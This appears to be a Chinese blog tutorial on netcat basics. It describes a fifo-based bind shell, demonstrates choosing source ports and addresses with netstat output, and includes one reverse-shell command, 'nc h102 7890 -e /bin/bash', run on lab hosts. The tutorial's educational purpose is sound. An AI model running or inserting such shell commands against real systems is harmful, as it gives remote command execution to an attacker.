首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >nc基础用法5

nc基础用法5

作者头像
franket
发布2022-04-24 00:14:27
发布2022-04-24 00:14:27
3120
举报
文章被收录于专栏:技术杂记技术杂记

整个过程是这样的:

  • 服务端创建一个fifo管道
  • 监听6789端口,然后把数据写到fifo管道
  • 管道里的数据被cat出来,作为bash的输入(被bash解释执行)
  • 标准输出与标准错误都被重定向到标准输出
  • 标准输出的结果又通过6789端口的网络连接从服务端反馈给客户端

所以产生的效果就是,客户端与服务端建立连接后,输入的内容会被服务端解释执行,然后将所有结果(标准输出,标准错误输出)反馈给客户端

Tip: 使用 -e 参数可以使用服务器来控制客户端,也叫反向shell

代码语言:javascript
复制
nc -l 7890
----------
nc h102 7890 -e /bin/bash

由于我的nc版本没有 -e 参数,所以暂时不能演示,下次找一下,有机会补起来


指定源端口

客户端发起连接默认是随机分配本地可用源端口,如

代码语言:javascript
复制
[root@h102 nc]# nc -l 5675

----------
[root@h102 ~]# netstat  -ant | grep 567
tcp        0      0 0.0.0.0:5675                0.0.0.0:*                   LISTEN      
tcp        0      0 192.168.100.102:5675        192.168.100.101:52326       ESTABLISHED 
[root@h102 ~]#

使用下面方法可以手动指定

代码语言:javascript
复制
[root@h101 grub]# nc h102 5675 -p 1234
----------
[root@h102 ~]# netstat  -ant | grep 567
tcp        0      0 0.0.0.0:5675                0.0.0.0:*                   LISTEN      
tcp        0      0 192.168.100.102:5675        192.168.100.101:1234        ESTABLISHED 
[root@h102 ~]# 

指定源地址

客户端发起连接会使用默认ip地址,如

代码语言:javascript
复制
[root@h102 nc]# nc -l 520

----------
[root@h102 ~]# netstat  -ant | grep 520
tcp        0      0 0.0.0.0:520                 0.0.0.0:*                   LISTEN      
tcp        0      0 192.168.100.102:520         192.168.100.101:54442       ESTABLISHED 
[root@h102 ~]#

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 指定源端口
  • 指定源地址
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档